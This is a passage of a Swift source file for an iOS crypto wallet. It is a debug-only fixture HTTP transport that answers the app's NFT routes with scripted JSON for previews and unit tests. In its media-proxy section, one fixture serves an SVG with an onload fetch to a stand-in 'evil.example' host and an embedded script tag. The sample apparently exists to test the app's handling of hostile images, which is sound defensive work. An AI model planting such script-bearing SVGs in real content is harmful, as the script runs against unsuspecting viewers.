Repository Public
1// =============================================================================2// SP BOUCHER | SOFTWARE & RESEARCH3// ARTIFICIAL INTELLIGENCE • FINANCE • ENGINEERING4// =============================================================================5//6// PROJECT METADATA7// -----------------------------------------------------------------------------8// Project : SP Wallet9// File : Features/NFTs/NFTFixtures.swift10// Description : DEBUG ONLY — never compiled in release. A scripted HTTP11// transport that answers the NFT routes from the bundled12// fixtures, so that the populated screens can be looked at13// (launch environment SPWALLET_NFT_FIXTURES=1, with a14// visible « DONNÉES D’ESSAI » banner) and the flows15// unit-tested through the REAL `NFTAPI` — strict parsing,16// request/intent comparison and challenge binding included:17// the prepared intents are built here and their challenge is18// the hash the Core recomputes. No test answer can reach a19// release build or a real server.20// Module : Features21// Repository : https://git.spboucher.ai/sp-wallet-ios22// Created : 2026-11-1823// Last Modified : 2026-11-1824//25// =============================================================================26// AUTHOR & PROFESSIONAL AFFILIATION27// =============================================================================28//29// Author : Simon-Pierre Boucher30// Position : Professor of Finance31// Institution : Université du Québec en Outaouais (UQO)32// Department : Département des sciences administratives33// Organization : SP Boucher34//35// Website : https://spboucher.ai36// Git : https://git.spboucher.ai37//38// =============================================================================39// OFFICIAL CONTACT DIRECTORY40// =============================================================================41//42// General : info@spboucher.ai43// Professional : contact@spboucher.ai44// Direct : simon@spboucher.ai45// Research : research@spboucher.ai46// Development : dev@spboucher.ai47// Support : support@spboucher.ai48// Security/Admin : admin@spboucher.ai49// Notifications : notifications@spboucher.ai50//51// Preferred Contact: support@spboucher.ai52//53// =============================================================================54// COPYRIGHT & INTELLECTUAL PROPERTY55// =============================================================================56//57// Copyright (c) 202658// Simon-Pierre Boucher59//60// All rights reserved where applicable.61//62// This file is governed by the applicable project license,63// copyright notices, institutional agreements and relevant law.64//65// Unless expressly authorized by the applicable license or66// rights holder, copying, redistribution, sublicensing,67// publication and commercial exploitation are not permitted.68//69// Existing third-party rights and notices remain unaffected.70//71// =============================================================================72// CONFIDENTIALITY & SECURITY73// =============================================================================74//75// Classification : Public76// Distribution : Public repository; use is governed by the project license77// Security Contact : admin@spboucher.ai78//79// Access to this source does not independently grant permission80// to redistribute or disclose confidential materials.81//82// Do not embed credentials, private keys, access tokens,83// certificates or confidential personal information.84//85// =============================================================================86// LICENSE & MAINTENANCE87// =============================================================================88//89// License : None specified (no license file in this repository)90// Maintainer : Simon-Pierre Boucher91// Technical Contact: dev@spboucher.ai92//93// =============================================================================94// END OF SP BOUCHER SOURCE HEADER95// =============================================================================9697#if DEBUG98import Foundation99import CoreGraphics100import ImageIO101import UniformTypeIdentifiers102import SPWalletCore103104enum NFTFixtures {105 static let apeKey = "evm:ethereum:0xbc4ca0eda7647a8ab7c2061c2e118a18a936f13d/8520"106 static let passKey = "evm:base:0x495f947276749ce646f68ac8c248420045cb7b5e/42"107 static let svgKey = "evm:ethereum:0x1111111111111111111111111111111111111111/7"108 static let coreKey = "sol:solana:CMhGwGHMbVaBmxebfU3t5eViSf6FKHnvFCBNiA1D659j"109 static let spamKey = "sol:solana:7EYnhQoR9YM3N7UoaKRoA44Uy8JeaZV3qyouov87awMs"110 static let pnftKey = "sol:solana:4vJ9JU1bJJE96FWSJKvHsmmFADCg4gpZQff4P3bkLKi"111 static let owner = "0x70997970C51812dc3A010C7d01b50e0d17dc79C8"112 /** A destination the fixture signer refuses (allow-list policy), to look at a refusal. */113 static let refusedDestination = "0x000000000000000000000000000000000000dEaD"114115 static let apeImage = "m0123456789abcdef0123456789abcdef01234567"116 static let passImage = "m1111111111111111111111111111111111111111"117 static let bigVideo = "m2222222222222222222222222222222222222222"118 static let svgImage = "m3333333333333333333333333333333333333333"119 static let unreachableImage = "m4444444444444444444444444444444444444444"120121 static func json(_ text: String) -> JSONValue { (try? JSONDecoder().decode(JSONValue.self, from: Data(text.utf8))) ?? .null }122 static func decode<T: Decodable>(_ type: T.Type = T.self, _ text: String) throws -> T { try APICoding.decoder().decode(T.self, from: Data(text.utf8)) }123124 @MainActor static func context(configuration: APIConfiguration, transport: NFTFixtureTransport? = nil) -> NFTContext {125 let t = transport ?? NFTFixtureTransport(rpId: configuration.rpId)126 let api = NFTAPI(APIClient(configuration: configuration, tokens: InMemoryTokenStore("fixture"), transport: t))127 let dir = FileManager.default.temporaryDirectory.appendingPathComponent("nft-media-fixtures-\(UUID().uuidString)", isDirectory: true)128 return NFTContext(api: api, media: NFTContext.mediaStore(api, directory: dir), cache: AppCache(directory: nil), isFixture: true)129 }130131 /** A deterministic PNG (two-colour gradient and discs) standing for an image the proxy would serve. */132 static func png(seed: String, side: Int = 640) -> Data {133 var h: UInt64 = 1469598103934665603134 for b in seed.utf8 { h = (h ^ UInt64(b)) &* 1099511628211 }135 func unit(_ shift: UInt64) -> CGFloat { CGFloat((h >> shift) & 0xff) / 255 }136 let space = CGColorSpaceCreateDeviceRGB()137 guard let ctx = CGContext(data: nil, width: side, height: side, bitsPerComponent: 8, bytesPerRow: 0, space: space, bitmapInfo: CGImageAlphaInfo.noneSkipLast.rawValue) else { return Data() }138 let a = CGColor(red: unit(0), green: unit(8), blue: 0.35 + unit(16) * 0.6, alpha: 1), b = CGColor(red: 0.3 + unit(24) * 0.6, green: unit(32), blue: unit(40), alpha: 1)139 if let g = CGGradient(colorsSpace: space, colors: [a, b] as CFArray, locations: [0, 1]) {140 ctx.drawLinearGradient(g, start: .zero, end: CGPoint(x: side, y: side), options: [])141 }142 for k in 0..<5 {143 let r = CGFloat(side) * (0.08 + unit(UInt64(k) * 8) * 0.18), x = CGFloat(side) * unit(UInt64(k) * 8 + 4), y = CGFloat(side) * unit(UInt64(k) * 8 + 12)144 ctx.setFillColor(CGColor(red: 1, green: 1, blue: 1, alpha: 0.16 + 0.1 * CGFloat(k % 3)))145 ctx.fillEllipse(in: CGRect(x: x - r, y: y - r, width: 2 * r, height: 2 * r))146 }147 guard let img = ctx.makeImage() else { return Data() }148 let out = NSMutableData()149 guard let dest = CGImageDestinationCreateWithData(out, UTType.png.identifier as CFString, 1, nil) else { return Data() }150 CGImageDestinationAddImage(dest, img, nil)151 CGImageDestinationFinalize(dest)152 return out as Data153 }154}155156extension JSONValue {157 /** A copy with the value at `path` replaced (objects are created on the way). */158 func setting(_ path: [String], _ v: JSONValue) -> JSONValue {159 guard let k = path.first else { return v }160 var o = objectValue ?? [:]161 o[k] = path.count == 1 ? v : (o[k] ?? .object([:])).setting(Array(path.dropFirst()), v)162 return .object(o)163 }164}165166/** Answers the NFT routes from fixtures and keeps the little state a flow needs (prepared transfers, lists, the estimate switch). */167final class NFTFixtureTransport: HTTPTransport, @unchecked Sendable {168 struct Recorded: Sendable { let method: String; let path: String; let query: [String: String]; let body: JSONValue? }169 private struct TransferState { var proposal: JSONValue; var key: String; var quantity: String; var polls = 0; var approved = false }170171 private let lock = NSLock()172 private let rpId: String173 private var recorded: [Recorded] = []174 private var transfers: [String: TransferState] = [:]175 private var byIdempotency: [String: JSONValue] = [:]176 private var gone: Set<String> = []177 private var quantities: [String: String] = [NFTFixtures.passKey: "12"]178 private var allowEntries: [(network: String, address: String)] = [("ethereum", "0x3C44CdDdB6a900fa2b585dd299e03d12FA4293BC")]179 private var locked: Set<String> = ["abababababababababababababababababababababababababababababababab:0"]180 private var reviewed: Set<String> = []181 private var estimateEnabled = false182 private var syncPolls = 0183 /** When set, every request fails as if the network were down (tests of the offline paths). */184 var offline = false185 /** When set, the answer to the next approve call is lost after the server accepted it. */186 var loseNextApproveAnswer = false187 /** Tests only: alter a JSON answer on its way back (a server that lies about what it prepared). */188 var mutateAnswer: (@Sendable (Recorded, JSONValue) -> JSONValue)?189 /** Tests only: bytes and Content-Type the media proxy serves for an id. */190 var mediaOverride: [String: (data: Data, contentType: String)] = [:]191192 init(rpId: String) { self.rpId = rpId }193194 var requests: [Recorded] { lock.withLock { recorded } }195196 func send(_ request: URLRequest) async throws -> (Data, HTTPURLResponse) {197 let c = URLComponents(url: request.url!, resolvingAgainstBaseURL: false)!198 let rec = Recorded(method: request.httpMethod ?? "GET", path: String(c.path.dropFirst("/api/v1".count)),199 query: Dictionary((c.queryItems ?? []).map { ($0.name, $0.value ?? "") }, uniquingKeysWith: { a, _ in a }),200 body: request.httpBody.flatMap { try? JSONDecoder().decode(JSONValue.self, from: $0) })201 let idem = request.value(forHTTPHeaderField: "Idempotency-Key")202 let (status, data, type, lost): (Int, Data, String, Bool) = lock.withLock {203 recorded.append(rec)204 if offline { return (0, Data(), "", true) }205 let lost = loseNextApproveAnswer && rec.path.hasSuffix("/approve")206 if lost { loseNextApproveAnswer = false }207 var a = answer(rec, idempotencyKey: idem)208 if let mutate = mutateAnswer, a.2 == "application/json", let j = try? JSONDecoder().decode(JSONValue.self, from: a.1), let d = try? JSONEncoder().encode(mutate(rec, j)) { a.1 = d }209 return (a.0, a.1, a.2, lost)210 }211 if lost { throw URLError(.networkConnectionLost) }212 return (data, HTTPURLResponse(url: request.url!, statusCode: status, httpVersion: "HTTP/1.1", headerFields: ["Content-Type": type])!)213 }214215 // MARK: routing216217 private func ok(_ v: JSONValue) -> (Int, Data, String) { (200, (try? JSONEncoder().encode(v)) ?? Data("null".utf8), "application/json") }218 private func text(_ s: String) -> (Int, Data, String) { (200, Data(s.utf8), "application/json") }219 private func refuse(_ status: Int, _ code: String, _ message: String, data: JSONValue? = nil) -> (Int, Data, String) {220 var o: [String: JSONValue] = ["error": .string(code), "message": .string(message)]221 if let data { o["data"] = data }222 return (status, (try? JSONEncoder().encode(JSONValue.object(o))) ?? Data(), "application/json")223 }224225 private func answer(_ r: Recorded, idempotencyKey: String?) -> (Int, Data, String) {226 let key = r.query["key"] ?? r.body?["key"]?.stringValue ?? ""227 switch (r.method, r.path) {228 case ("GET", "/nfts/capabilities"): return text(NFTFixtureData.capabilities)229 case ("GET", "/nfts"): return ok(list(r.query))230 case ("POST", "/nfts/sync"): syncPolls = 2; return ok(["running": ["solana"]])231 case ("GET", "/nfts/item"), ("POST", "/nfts/refresh-metadata"):232 guard let i = item(key) else { return refuse(404, "nft_not_found", "no such asset") }233 return ok(i)234 case ("GET", "/nfts/activity"):235 if key == NFTFixtures.apeKey, r.query["more"] != "1" { return text(NFTFixtureData.activity) }236 if key == NFTFixtures.apeKey { return ok(NFTFixtures.json(NFTFixtureData.activity).setting(["canLoadOlder"], false).setting(["completeness"], "partial")) }237 return ok(["events": [], "cursor": nil, "completeness": "unavailable", "note": "compressed_history_requires_indexer", "scannedAt": nil, "canLoadOlder": false, "error": nil])238 case ("GET", "/nfts/collections"): return ok(["items": .array(collections())])239 case ("GET", "/nfts/collection"): return text(NFTFixtureData.collection)240 case ("POST", "/nfts/lookup"), ("POST", "/nfts/manual"):241 let chain = r.body?["chain"]?.stringValue ?? "", address = (r.body?["address"]?.stringValue ?? "").lowercased(), tokenId = r.body?["tokenId"]?.stringValue242 if chain == "solana", address == "CMhGwGHMbVaBmxebfU3t5eViSf6FKHnvFCBNiA1D659j".lowercased() { return text(NFTFixtureData.itemSolCore) }243 if chain == "ethereum", address == "0xbc4ca0eda7647a8ab7c2061c2e118a18a936f13d" {244 guard tokenId == "8520" else { return refuse(404, "nft_not_found", "ownerOf reverted", data: ["detail": "owner_query_reverted"]) }245 return ok(item(NFTFixtures.apeKey) ?? .null)246 }247 return refuse(404, "nft_not_found", "no contract at this address", data: ["detail": "no_contract"])248 case ("DELETE", "/nfts/manual"): return ok(["ok": true, "removed": true])249 case ("GET", "/nfts/receive"): return text(Self.receive)250 case ("GET", "/nfts/market/providers"): return text(NFTFixtureData.marketProviders)251 case ("GET", "/nfts/market"): return ok(market(key))252 case ("GET", "/nfts/market/listings"): return ok(orders(key, kind: "listings"))253 case ("GET", "/nfts/market/offers"): return ok(orders(key, kind: "offers"))254 case ("GET", "/nfts/market/activity"): return ok(marketEvents(key))255 case ("GET", "/nfts/market/collection"): return text(NFTFixtureData.marketCollection)256 case ("GET", "/nfts/market/traits"): return ok(["key": .string(key), "computed": false, "reason": "no_api_key", "sources": [], "mutableMetadata": nil])257 case ("GET", "/nfts/valuation"): return ok(valuation())258 case ("POST", "/nfts/valuation"): estimateEnabled = r.body?["enabled"]?.boolValue ?? false; return ok(["enabled": .bool(estimateEnabled)])259 case ("GET", "/nfts/transfer/verdict"):260 guard let i = item(key), let t = i["transfer"]?.objectValue else { return refuse(404, "nft_not_found", "no such asset") }261 var o = t262 o["signer"] = ["reachable": true, "halted": false, "supportsNft": true, "signedToday": 1, "maxPerDay": 10, "allowlistOnly": false, "maxErc1155Quantity": "100"]263 o["broadcast"] = true264 return ok(.object(o))265 case ("POST", "/nfts/transfer/prepare"): return prepare(r, idempotencyKey: idempotencyKey)266 case ("GET", "/nfts/transfers"): return ok(["items": .array(transfers.values.map(\.proposal))])267 case ("GET", "/nfts/allow"): return ok(allowList())268 case ("POST", "/nfts/allow/prepare"): return prepareAllow(r)269 case ("POST", "/nfts/allow/approve"): return approveAllow(r)270 case ("GET", "/utxo-locks"): return ok(utxoLocks(r.query["network"] ?? "bitcoin"))271 case ("POST", "/utxo-locks/prepare"): return prepareLocks(r)272 case ("POST", "/utxo-locks/approve"): return approveLocks(r)273 case ("POST", "/utxo-locks/review"):274 guard let o = r.body?["outpoint"]?.stringValue else { return refuse(400, "bad_request", "outpoint") }275 if r.body?["ordinary"]?.boolValue == true { reviewed.insert(o) } else { reviewed.remove(o) }276 return ok(["ok": true])277 default: break278 }279 if r.path.hasPrefix("/nfts/media/") { return media(String(r.path.dropFirst("/nfts/media/".count)), info: r.query["info"] == "1") }280 if r.path.hasPrefix("/nfts/transfer/") {281 let parts = r.path.dropFirst("/nfts/transfer/".count).split(separator: "/").map(String.init)282 guard let id = parts.first, var t = transfers[id] else { return refuse(404, "not_found", "no such NFT transfer") }283 if r.method == "POST", parts.last == "approve" {284 guard r.body?["assertion"] != nil else { return refuse(400, "bad_request", "assertion") }285 t.approved = true286 t.proposal = t.proposal.setting(["state"], "broadcast").setting(["txid"], "0x5f1c0de0000000000000000000000000000000000000000000000000000f1a7e")287 transfers[id] = t288 return ok(t.proposal)289 }290 if t.approved {291 t.polls += 1292 if t.polls == 1 { t.proposal = t.proposal.setting(["state"], "confirming").setting(["confirmations"], 1) }293 else if t.proposal["state"]?.stringValue != "finalized" {294 t.proposal = t.proposal.setting(["state"], "finalized").setting(["confirmations"], 12)295 // the inventory changes when the chain finalized — and only then296 let held = quantities[t.key] ?? "1"297 if let h = Int(held), let q = Int(t.quantity), h > q { quantities[t.key] = String(h - q) } else { gone.insert(t.key) }298 }299 transfers[id] = t300 }301 return ok(t.proposal)302 }303 if r.method == "POST", r.path.hasPrefix("/transfers/proposals/"), r.path.hasSuffix("/reject") {304 let id = String(r.path.dropFirst("/transfers/proposals/".count).dropLast("/reject".count))305 guard var t = transfers[id] else { return refuse(404, "not_found", "no such proposal") }306 t.proposal = t.proposal.setting(["state"], "rejected"); transfers[id] = t307 return ok(t.proposal)308 }309 return refuse(404, "not_found", "the NFT fixtures have no answer for \(r.method) \(r.path)")310 }311312 // MARK: inventory313314 private static let extraSummaries = #"""315 [316 { "key": "evm:base:0x495f947276749ce646f68ac8c248420045cb7b5e/42", "chain": "base", "family": "evm", "standard": "erc1155", "assetId": "0x495f947276749ce646f68ac8c248420045cb7b5e/42", "tokenId": "42",317 "name": "Pass saison 2", "onchainName": null, "collection": { "key": "evm:base:0x495f947276749ce646f68ac8c248420045cb7b5e", "name": null, "verifiedOnChain": { "state": "unsupported" } },318 "quantity": "12", "state": "in_wallet", "inWallet": true, "origin": "manual", "metadataStatus": "ok", "image": { "id": "m1111111111111111111111111111111111111111", "kind": "image", "status": "available" },319 "transferable": true, "transferBlockedBy": null, "firstSeen": "2026-11-12T12:00:00.000Z", "verifiedAt": "2026-11-17T15:00:00.000Z", "goneAt": null, "stale": false, "spam": null },320 { "key": "evm:ethereum:0x1111111111111111111111111111111111111111/7", "chain": "ethereum", "family": "evm", "standard": "erc721", "assetId": "0x1111111111111111111111111111111111111111/7", "tokenId": "7",321 "name": "Glyphe on-chain #7", "onchainName": null, "collection": { "key": "evm:ethereum:0x1111111111111111111111111111111111111111", "name": null, "verifiedOnChain": { "state": "unsupported" } },322 "quantity": "1", "state": "in_wallet", "inWallet": true, "origin": "manual", "metadataStatus": "ok", "image": { "id": "m3333333333333333333333333333333333333333", "kind": "image", "status": "available" },323 "transferable": true, "transferBlockedBy": null, "firstSeen": "2026-11-13T12:00:00.000Z", "verifiedAt": "2026-11-17T15:00:00.000Z", "goneAt": null, "stale": false, "spam": null },324 { "key": "sol:solana:4vJ9JU1bJJE96FWSJKvHsmmFADCg4gpZQff4P3bkLKi", "chain": "solana", "family": "sol", "standard": "metaplex-pnft", "assetId": "4vJ9JU1bJJE96FWSJKvHsmmFADCg4gpZQff4P3bkLKi", "tokenId": null,325 "name": "Officially Verified Lad #1", "onchainName": "Lad #1", "collection": { "key": "sol:solana:J1S9H3QjnRtBbbuD4HjPV6RpRhwuk4zKbxsnCHuTgh9w", "name": "Mad Lads (official)", "verifiedOnChain": { "state": "known", "value": false } },326 "quantity": "1", "state": "in_wallet", "inWallet": true, "origin": "discovered", "metadataStatus": "ok", "image": { "id": "m4444444444444444444444444444444444444444", "kind": "image", "status": "unreachable" },327 "transferable": false, "transferBlockedBy": "pnft_locked", "firstSeen": "2026-11-14T12:00:00.000Z", "verifiedAt": "2026-11-17T15:00:00.000Z", "goneAt": null, "stale": false, "spam": null }328 ]329 """#330331 private func summaries() -> [JSONValue] {332 let base = NFTFixtures.json(NFTFixtureData.list.replacingOccurrences(of: "CMhGwGHMbVaBmxebfU3t5eViSf6FKHnvFCBNiA1D659j", with: "7EYnhQoR9YM3N7UoaKRoA44Uy8JeaZV3qyouov87awMs"))333 let all = (base["items"]?.arrayValue ?? []) + (NFTFixtures.json(Self.extraSummaries).arrayValue ?? [])334 return all.compactMap { s in335 guard let k = s["key"]?.stringValue, !gone.contains(k) else { return nil }336 return quantities[k].map { s.setting(["quantity"], .string($0)) } ?? s337 }338 }339340 private func list(_ q: [String: String]) -> JSONValue {341 var rows = summaries()342 if q["status"] == "left" { rows = [] }343 if q["status"] == "tracked" { rows = rows.filter { $0["origin"]?.stringValue == "manual" } }344 if let chain = q["chain"] { rows = rows.filter { $0["chain"]?.stringValue == chain } }345 if let col = q["collection"] { rows = rows.filter { $0["collection"]?["key"]?.stringValue == col } }346 if let needle = q["q"]?.lowercased(), !needle.isEmpty {347 rows = rows.filter { r in ["name", "onchainName", "assetId"].contains { r[$0]?.stringValue?.lowercased().contains(needle) == true } }348 }349 let spam = rows.filter { $0["spam"]?.objectValue != nil }350 switch q["spam"] { case "show": break; case "only": rows = spam; default: rows = rows.filter { $0["spam"]?.objectValue == nil } }351 if q["cursor"] != nil { rows = [] }352 let running: JSONValue = syncPolls > 0 ? ["solana"] : []353 if syncPolls > 0 { syncPolls -= 1 }354 return ["items": .array(rows), "total": .int(Int64(rows.count)), "hiddenSpam": .int(Int64(q["spam"] == nil || q["spam"] == "hide" ? spam.count : 0)), "cursor": nil,355 "sync": ["running": running, "lastSyncedAt": ["solana": "2026-11-17T14:58:00.000Z"]],356 "valuation": ["state": "unavailable", "reason": "no_reliable_valuation"], "asOf": "2026-11-17T15:00:01.000Z"]357 }358359 private func collections() -> [JSONValue] {360 var counts: [String: (chain: String, name: JSONValue, n: Int)] = [:]361 for s in summaries() where s["spam"]?.objectValue == nil {362 guard let k = s["collection"]?["key"]?.stringValue else { continue }363 counts[k, default: (s["chain"]?.stringValue ?? "", s["collection"]?["name"] ?? .null, 0)].n += 1364 }365 return counts.sorted { $0.key < $1.key }.map { ["collection_key": .string($0.key), "chain": .string($0.value.chain), "n": .int(Int64($0.value.n)), "name": $0.value.name] }366 }367368 private func item(_ key: String) -> JSONValue? {369 guard !gone.contains(key) || key == NFTFixtures.coreKey else {370 // after the chain finalized the transfer the server's item says so: not in this wallet any more371 return NFTFixtures.json(NFTFixtureData.itemErc721).setting(["key"], .string(key)).setting(["ownership", "state"], "not_in_wallet").setting(["ownership", "heldByWallet"], false)372 .setting(["capabilities", "transferable"], false).setting(["capabilities", "transferBlockedBy"], ["not_in_wallet"])373 .setting(["transfer"], ["transferable": false, "blockedBy": ["not_in_wallet"], "warnings": [], "standard": "erc721", "route": nil]).setting(["goneAt"], "2026-11-17T15:20:00.000Z")374 }375 let erc = NFTFixtures.json(NFTFixtureData.itemErc721), sol = NFTFixtures.json(NFTFixtureData.itemSolCore)376 switch key {377 case NFTFixtures.apeKey: return erc378 case NFTFixtures.coreKey: return sol379 case NFTFixtures.passKey:380 let contract = "0x495f947276749Ce646f68AC8c248420045cb7b5e"381 return erc.setting(["key"], .string(key)).setting(["chainId"], "base").setting(["assetId"], "0x495f947276749ce646f68ac8c248420045cb7b5e/42").setting(["tokenId"], "42")382 .setting(["contractAddress"], .string(contract)).setting(["standard"], "erc1155").setting(["quantity"], .string(quantities[key] ?? "12")).setting(["supply"], ["state": "known", "value": "5000"])383 .setting(["collection", "key"], "evm:base:0x495f947276749ce646f68ac8c248420045cb7b5e").setting(["collection", "id"], "0x495f947276749ce646f68ac8c248420045cb7b5e")384 .setting(["metadata", "name"], "Pass saison 2").setting(["metadata", "description"], "Accès aux événements de la saison 2.\nUnités multiples : jeton semi-fongible.")385 .setting(["metadata", "externalUrl"], "https://pass.example.org/saison-2?ref=nft").setting(["metadata", "attributes"], [])386 .setting(["media"], [387 ["role": "image", "id": .string(NFTFixtures.passImage), "sourceUri": "ipfs://QmPass", "resolvedUri": "https://ipfs.io/ipfs/QmPass", "declaredMime": nil, "mime": "image/png", "kind": "image", "status": "available", "errorCode": nil, "bytes": "52000"],388 ["role": "animation", "id": .string(NFTFixtures.bigVideo), "sourceUri": "ipfs://QmPassVideo", "resolvedUri": "https://ipfs.io/ipfs/QmPassVideo", "declaredMime": "video/mp4", "mime": "video/mp4", "kind": "video", "status": "available", "errorCode": nil, "bytes": "83000000"],389 ])390 .setting(["explorerUrl"], "https://basescan.org/token/0x495f947276749Ce646f68AC8c248420045cb7b5e?a=42").setting(["externalMarkets"], []).setting(["marketSources"], [])391 .setting(["capabilities", "transferWarnings"], ["semi_fungible"])392 .setting(["transfer"], ["transferable": true, "blockedBy": [], "warnings": ["semi_fungible"], "standard": "erc1155", "route": "safeTransferFrom(address,address,uint256,uint256,bytes) — data empty"])393 case NFTFixtures.svgKey:394 return erc.setting(["key"], .string(key)).setting(["assetId"], "0x1111111111111111111111111111111111111111/7").setting(["tokenId"], "7")395 .setting(["contractAddress"], "0x1111111111111111111111111111111111111111").setting(["collection", "key"], "evm:ethereum:0x1111111111111111111111111111111111111111")396 .setting(["collection", "id"], "0x1111111111111111111111111111111111111111").setting(["metadata", "name"], "Glyphe on-chain #7").setting(["metadata", "description"], nil)397 .setting(["metadata", "externalUrl"], nil).setting(["metadata", "attributes"], [])398 .setting(["media"], [["role": "image", "id": .string(NFTFixtures.svgImage), "sourceUri": "data:image/svg+xml;base64,PHN2Zz4=", "resolvedUri": nil, "declaredMime": "image/svg+xml", "mime": "image/svg+xml", "kind": "image", "status": "available", "errorCode": nil, "bytes": "412"]])399 .setting(["externalMarkets"], []).setting(["marketSources"], []).setting(["explorerUrl"], nil)400 case NFTFixtures.spamKey, NFTFixtures.pnftKey:401 let spam = key == NFTFixtures.spamKey402 let id = String(key.dropFirst("sol:solana:".count)), block = spam ? "compressed_transfer_not_supported" : "pnft_locked"403 var v = sol.setting(["key"], .string(key)).setting(["assetId"], .string(id)).setting(["mintAddress"], .string(id)).setting(["standard"], spam ? "metaplex-bubblegum" : "metaplex-pnft")404 .setting(["quantity"], "1").setting(["ownerAddress"], "9WzDXwBbmkg8ZTbNMqUxvQRAyrZzDsGYdLVL9zYtAWWM").setting(["origin"], "discovered")405 .setting(["ownership", "state"], spam ? "in_wallet" : "escrow_or_delegated").setting(["ownership", "heldByWallet"], true).setting(["ownership", "owner"], ["state": "known", "value": "9WzDXwBbmkg8ZTbNMqUxvQRAyrZzDsGYdLVL9zYtAWWM"])406 .setting(["market"], nil).setting(["externalMarkets"], []).setting(["metadata", "externalUrl"], nil)407 .setting(["capabilities", "transferBlockedBy"], [.string(block)]).setting(["capabilities", "transferWarnings"], [])408 .setting(["transfer"], ["transferable": false, "blockedBy": [.string(block)], "warnings": [], "standard": spam ? "metaplex-bubblegum" : "metaplex-pnft", "route": nil])409 if spam {410 v = v.setting(["metadata", "name"], nil).setting(["metadata", "onchainName"], "FREE AIRDROP").setting(["metadata", "status"], "blocked").setting(["metadata", "errorCode"], "private_address").setting(["collection"], nil)411 } else {412 v = v.setting(["metadata", "name"], "Officially Verified Lad #1").setting(["metadata", "onchainName"], "Lad #1").setting(["indexerFlags"], nil)413 .setting(["collection", "key"], "sol:solana:J1S9H3QjnRtBbbuD4HjPV6RpRhwuk4zKbxsnCHuTgh9w").setting(["collection", "id"], "J1S9H3QjnRtBbbuD4HjPV6RpRhwuk4zKbxsnCHuTgh9w")414 .setting(["collection", "name"], "Mad Lads (official)").setting(["collection", "verifiedOnChain"], ["state": "known", "value": false])415 .setting(["ownership", "tokenRecordState"], ["state": "known", "value": "locked"]).setting(["ownership", "delegate"], ["state": "known", "value": "62Q9eeDY3eM8A5CnprBGYMPShdBjAzdpBdr71QHsS8dS"])416 .setting(["media"], [["role": "image", "id": .string(NFTFixtures.unreachableImage), "sourceUri": "https://img.example.org/1.png", "resolvedUri": "https://img.example.org/1.png", "declaredMime": nil, "mime": nil, "kind": "image", "status": "unreachable", "errorCode": nil, "bytes": nil]])417 }418 return v419 default: return nil420 }421 }422423 private static let receive = #"""424 { "items": [425 { "network": "ethereum", "name": "Ethereum", "family": "evm", "address": "0x70997970C51812dc3A010C7d01b50e0d17dc79C8", "standards": ["erc721", "erc1155"], "warnings": ["evm_same_address_check_network", "evm_arrival_known_contracts_only", "arrival_after_confirmation"], "detection": "blocked_by_provider" },426 { "network": "base", "name": "Base", "family": "evm", "address": "0x70997970C51812dc3A010C7d01b50e0d17dc79C8", "standards": ["erc721", "erc1155"], "warnings": ["evm_same_address_check_network", "evm_arrival_known_contracts_only", "arrival_after_confirmation"], "detection": "blocked_by_provider" },427 { "network": "solana", "name": "Solana", "family": "sol", "address": "9WzDXwBbmkg8ZTbNMqUxvQRAyrZzDsGYdLVL9zYtAWWM", "standards": ["metaplex-token-metadata", "metaplex-pnft", "spl-token-2022", "metaplex-core", "metaplex-bubblegum"], "warnings": ["sol_compressed_needs_indexer", "arrival_after_confirmation"], "detection": "partial" },428 { "network": "bitcoin", "name": "Bitcoin", "family": "btc", "address": "bc1qcr8te4kr609gcawutmrza0j4xv80jy8z306fyu", "standards": ["ordinals-inscription"], "warnings": ["ordinals_heuristic_only", "ordinals_no_transfer"], "detection": "blocked_by_provider" }429 ] }430 """#431432 // MARK: media proxy433434 private func media(_ id: String, info: Bool) -> (Int, Data, String) {435 if let o = mediaOverride[id], !info { return (200, o.data, o.contentType) }436 switch id {437 case NFTFixtures.bigVideo:438 if info { return ok(["status": "available", "mime": "video/mp4", "kind": "video", "bytes": 83_000_000, "code": nil]) }439 return refuse(413, "media_blocked", "the file is larger than this server serves", data: ["code": "too_large"])440 case NFTFixtures.svgImage:441 if info { return ok(["status": "available", "mime": "image/svg+xml", "kind": "image", "bytes": 96, "code": nil]) }442 return (200, Data(#"<svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://evil.example')"><script>alert(1)</script></svg>"#.utf8), "image/svg+xml")443 case NFTFixtures.unreachableImage:444 if info { return ok(["status": "media_unreachable", "mime": nil, "kind": nil, "bytes": nil, "code": "timeout"]) }445 return refuse(502, "media_unreachable", "the origin did not answer", data: ["code": "timeout"])446 default:447 let png = NFTFixtures.png(seed: id)448 if info { return ok(["status": "available", "mime": "image/png", "kind": "image", "bytes": .int(Int64(png.count)), "code": nil]) }449 return (200, png, "image/png")450 }451 }452453 // MARK: market (read)454455 private func market(_ key: String) -> JSONValue {456 let m = NFTFixtures.json(NFTFixtureData.market).setting(["key"], .string(key))457 if key == NFTFixtures.apeKey { return m }458 // every other asset: no source answers — the rows say why, no figure is shown459 let off = m["sources"]?[1] ?? .null460 return m.setting(["sources"], [off]).setting(["contradictions"], []).setting(["rates"], [:]).setting(["external"], ["links": [], "notice": m["external"]?["notice"] ?? .null])461 }462 private func orders(_ key: String, kind: String) -> JSONValue {463 let m = market(key), rows = m["sources"]?.arrayValue ?? []464 let sources: [JSONValue] = rows.map { s in465 let v = (kind == "listings" ? s["ask"] : s["bestOffer"])?["value"]466 return ["status": s["status"] ?? .null, "items": v.map { [$0] } ?? [], "cursor": nil]467 }468 return ["key": .string(key), "kind": .string(kind), "sources": .array(sources), "rates": m["rates"] ?? [:], "asOf": m["asOf"] ?? .null, "actions": m["actions"] ?? []]469 }470 private func marketEvents(_ key: String) -> JSONValue {471 let m = market(key), rows = m["sources"]?.arrayValue ?? []472 let sale: JSONValue = ["type": "sale", "providerType": "sale", "at": "2026-10-01T00:00:00Z", "tx": "0xbbb", "index": "12", "from": "0x1111111111111111111111111111111111111111", "to": .string(NFTFixtures.owner),473 "quantity": "1", "price": rows.first?["lastSale"]?["value"]?["price"] ?? .null, "venue": "OpenSea", "orderId": nil, "flags": ["washTrade": ["state": "unknown"]], "fees": nil]474 let sources: [JSONValue] = rows.map { s in ["status": s["status"] ?? .null, "events": s["status"]?["state"]?.stringValue == "ok" ? [sale] : [], "cursor": nil] }475 return ["key": .string(key), "sources": .array(sources), "rates": m["rates"] ?? [:], "asOf": m["asOf"] ?? .null]476 }477 private func valuation() -> JSONValue {478 estimateEnabled ? NFTFixtures.json(NFTFixtureData.valuation)479 : ["enabled": false, "state": "unavailable", "reason": "no_reliable_valuation", "excludedFromWalletTotal": true, "estimate": nil]480 }481482 // MARK: 